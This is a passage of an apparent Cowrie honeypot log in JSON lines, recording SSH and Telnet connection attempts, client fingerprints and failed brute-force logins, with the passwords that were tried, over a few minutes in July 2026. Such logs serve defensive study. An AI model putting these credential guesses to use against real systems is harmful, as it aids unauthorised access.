{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:16.828435Z","src_ip":"103.122.221.179","session":"9dadea3db5c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":60694,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f9442d1a63","protocol":"ssh","message":"New connection: 87.156.182.84:60694 (10.17.0.5:22) [session: c7f9442d1a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:32.297025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:32.715633Z","src_ip":"87.156.182.84","session":"c7f9442d1a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:32.827728Z","src_ip":"87.156.182.84","session":"c7f9442d1a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv1111","message":"login attempt [root/Zxcv1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:37.691615Z","src_ip":"87.156.182.84","session":"c7f9442d1a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:38.800659Z","src_ip":"87.156.182.84","session":"c7f9442d1a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":53028,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e06a66915c5","protocol":"ssh","message":"New connection: 46.19.67.181:53028 (10.17.0.5:22) [session: 6e06a66915c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:46.833913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:46.837315Z","src_ip":"46.19.67.181","session":"6e06a66915c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:46.945421Z","src_ip":"46.19.67.181","session":"6e06a66915c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23061980","message":"login attempt [root/23061980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:47.271912Z","src_ip":"46.19.67.181","session":"6e06a66915c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:29:48.383122Z","src_ip":"46.19.67.181","session":"6e06a66915c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":38536,"dst_ip":"10.17.0.5","dst_port":23,"session":"476b66d4439b","protocol":"telnet","message":"New connection: 94.23.66.112:38536 (10.17.0.5:23) [session: 476b66d4439b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:18.448007Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":36532,"dst_ip":"159.203.135.109","dst_port":22,"session":"31c49bf54452","protocol":"ssh","message":"New connection: 162.144.61.95:36532 (159.203.135.109:22) [session: 31c49bf54452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:20.187596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:20.196393Z","src_ip":"162.144.61.95","session":"31c49bf54452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:20.277968Z","src_ip":"162.144.61.95","session":"31c49bf54452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ETH$M@st3r@P@ss","message":"login attempt [root/ETH$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:20.524427Z","src_ip":"162.144.61.95","session":"31c49bf54452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":2804,"dst_ip":"159.203.135.109","dst_port":22,"session":"43e650ec4356","protocol":"ssh","message":"New connection: 38.93.206.2:2804 (159.203.135.109:22) [session: 43e650ec4356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:20.661065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:20.665003Z","src_ip":"38.93.206.2","session":"43e650ec4356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:20.715046Z","src_ip":"38.93.206.2","session":"43e650ec4356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abgos999","message":"login attempt [root/abgos999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:20.868511Z","src_ip":"38.93.206.2","session":"43e650ec4356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:21.920686Z","src_ip":"38.93.206.2","session":"43e650ec4356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:23.604242Z","src_ip":"162.144.61.95","session":"31c49bf54452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45284,"dst_ip":"159.203.135.109","dst_port":23,"session":"25ad92bc8917","protocol":"telnet","message":"New connection: 107.6.151.170:45284 (159.203.135.109:23) [session: 25ad92bc8917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:29.853899Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48330,"dst_ip":"159.203.135.109","dst_port":23,"session":"d11a4da54445","protocol":"telnet","message":"New connection: 107.6.151.170:48330 (159.203.135.109:23) [session: d11a4da54445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:30:45.976375Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.229.221.60","src_port":55157,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de717d8da19","protocol":"telnet","message":"New connection: 115.229.221.60:55157 (10.17.0.5:23) [session: 8de717d8da19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:00.748594Z"}
{"eventid":"cowrie.session.closed","duration":32.18638801574707,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:02.039974Z","src_ip":"107.6.151.170","session":"25ad92bc8917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.306029081344604,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:14.054479Z","src_ip":"115.229.221.60","session":"8de717d8da19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00995111465454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:17.986203Z","src_ip":"107.6.151.170","session":"d11a4da54445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":37378,"dst_ip":"10.17.0.5","dst_port":22,"session":"752bde9002f3","protocol":"ssh","message":"New connection: 192.169.180.166:37378 (10.17.0.5:22) [session: 752bde9002f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:26.836325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:26.840456Z","src_ip":"192.169.180.166","session":"752bde9002f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:26.906320Z","src_ip":"192.169.180.166","session":"752bde9002f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nepal","password":"Kathmandu#Crypto$P@ssw0rd","message":"login attempt [nepal/Kathmandu#Crypto$P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:27.103560Z","src_ip":"192.169.180.166","session":"752bde9002f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:31:28.173191Z","src_ip":"192.169.180.166","session":"752bde9002f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01040577888489,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:32:18.458241Z","src_ip":"94.23.66.112","session":"476b66d4439b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":37856,"dst_ip":"159.203.135.109","dst_port":22,"session":"d144f7bee57f","protocol":"ssh","message":"New connection: 162.241.132.172:37856 (159.203.135.109:22) [session: d144f7bee57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:32:38.722426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:32:38.726207Z","src_ip":"162.241.132.172","session":"d144f7bee57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:32:38.752729Z","src_ip":"162.241.132.172","session":"d144f7bee57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"edge789","message":"login attempt [root/edge789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:32:38.833246Z","src_ip":"162.241.132.172","session":"d144f7bee57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:32:39.862499Z","src_ip":"162.241.132.172","session":"d144f7bee57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48192,"dst_ip":"159.203.135.109","dst_port":22,"session":"860788e9a261","protocol":"ssh","message":"New connection: 193.37.70.224:48192 (159.203.135.109:22) [session: 860788e9a261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:02.196275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:02.200768Z","src_ip":"193.37.70.224","session":"860788e9a261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:02.293720Z","src_ip":"193.37.70.224","session":"860788e9a261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020584","message":"login attempt [root/020584] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:02.579981Z","src_ip":"193.37.70.224","session":"860788e9a261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:03.676695Z","src_ip":"193.37.70.224","session":"860788e9a261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":60688,"dst_ip":"159.203.135.109","dst_port":23,"session":"017d269d4f0e","protocol":"telnet","message":"New connection: 137.184.5.188:60688 (159.203.135.109:23) [session: 017d269d4f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:42.751855Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":44348,"dst_ip":"10.17.0.5","dst_port":22,"session":"660b8e026914","protocol":"ssh","message":"New connection: 80.66.85.226:44348 (10.17.0.5:22) [session: 660b8e026914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:45.220408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:33:45.223263Z","src_ip":"80.66.85.226","session":"660b8e026914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh